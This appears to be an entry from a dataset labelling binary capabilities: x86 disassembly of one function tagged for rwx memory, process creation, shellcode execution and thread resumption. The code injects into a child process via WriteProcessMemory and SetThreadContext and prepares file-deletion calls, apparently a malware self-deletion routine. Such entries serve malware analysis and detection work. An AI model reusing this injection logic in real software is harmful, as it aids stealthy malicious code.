Function at 0x4065fa
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Resume thread

Disassembly:
mov eax, 0x431b23
call fcn.00425db8
sub esp, 0xebc
push ebx
push esi
xor ebx, ebx
push edi
lea eax, [ebp - 0x11]
mov edi, 0x4344bc
mov esi, 0x4344b4
push ebx
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x30], esi
call fcn.004025bb
lea eax, [ebp - 0x5c]
push 0x104
push eax
lea ecx, [ebp - 0x50]
mov dword [ebp - 4], ebx
call fcn.004027e8
mov dword [ebp - 0x10], eax
mov ecx, dword [eax]
mov byte [ebp - 4], 1
call fcn.00403e7c
mov ecx, dword [ebp - 0x10]
push 0x104
push eax
push ebx
mov dword [ecx + 8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.0040298d
push ebx
lea eax, [ebp - 0x84]
push ebx
push eax
lea ecx, [ebp - 0x50]
call fcn.00403a0d
sub esp, 0x28
lea eax, [ebp - 0x50]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov byte [ebp - 4], 2
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.004028fa
call fcn.00420a9e
add esp, 0x28
cmp al, bl
jne 0x4066d7
cmp byte [ebp + 8], bl
je 0x4068bd
sub esp, 0x28
lea eax, [ebp - 0x84]
mov dword [ebp - 0x10], esp
mov ecx, esp
push ebx
push eax
mov dword [ecx], edi
mov dword [ecx + 0x20], esi
call fcn.004028fa
call fcn.00420a9e
add esp, 0x28
cmp al, bl
je 0x4068bd
mov esi, 0x43b138
lea edi, [ebp - 0x1cc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
push 0x3d
xor eax, eax
pop ecx
lea edi, [ebp - 0x1bf]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x44
pop edx
stosb byte es:[edi], al
push 0x10
xor eax, eax
pop ecx
lea edi, [ebp - 0xc4]
mov dword [ebp - 0xc8], edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xc8]
push eax
push ebx
push ebx
push edx
push ebx
push ebx
lea eax, [ebp - 0x1cc]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406737
mov byte [ebp + 0xb], bl
jmp 0x4068c1
mov ecx, 0x28a
xor eax, eax
lea edi, [ebp - 0xec4]
mov dword [ebp - 0xec8], ebx
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, 0x104
mov dword [ebp - 0x6c0], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x6bc], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x6b8], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov dword [ebp - 0x6b4], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x6b0], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x6ac], eax
mov al, byte [ebp + 8]
push esi
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x6a4], al
call fcn.00403e7c
push eax
lea eax, [ebp - 0x6a3]
push eax
call fcn.00426020
add esp, 0xc
cmp byte [ebp + 8], bl
je 0x4067d7
push esi
lea ecx, [ebp - 0x84]
call fcn.00403e7c
push eax
lea eax, [ebp - 0x59f]
push eax
call fcn.00426020
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
lea eax, [ebp - 0x6c4]
push ebx
push eax
push dword [ebp - 0x24]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, 0x406986
mov eax, 0x4068ed
sub ecx, eax
cmp ecx, 0x800
ja 0x40672f
push ecx
push eax
lea eax, [ebp - 0xec4]
push eax
call fcn.004267f0
add esp, 0xc
lea eax, [ebp - 0x498]
mov dword [ebp - 0x498], 0x10003
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x3d4]
mov edi, 0xa2d
lea esi, [eax - 0xa2d]
and esi, 0xffffffe0
mov dword [ebp - 0xec8], esi
lea eax, [esi - 4]
mov dword [ebp - 0x3d4], eax
lea eax, [esi + 4]
mov dword [ebp - 0x3e0], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
lea eax, [ebp - 0xec8]
push edi
push eax
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push edi
push esi
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x498]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x20]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x24]
call esi
mov byte [ebp + 0xb], 1
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], bl
call fcn.00401ced
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x50]
call fcn.00401ced
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp + 0xb]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret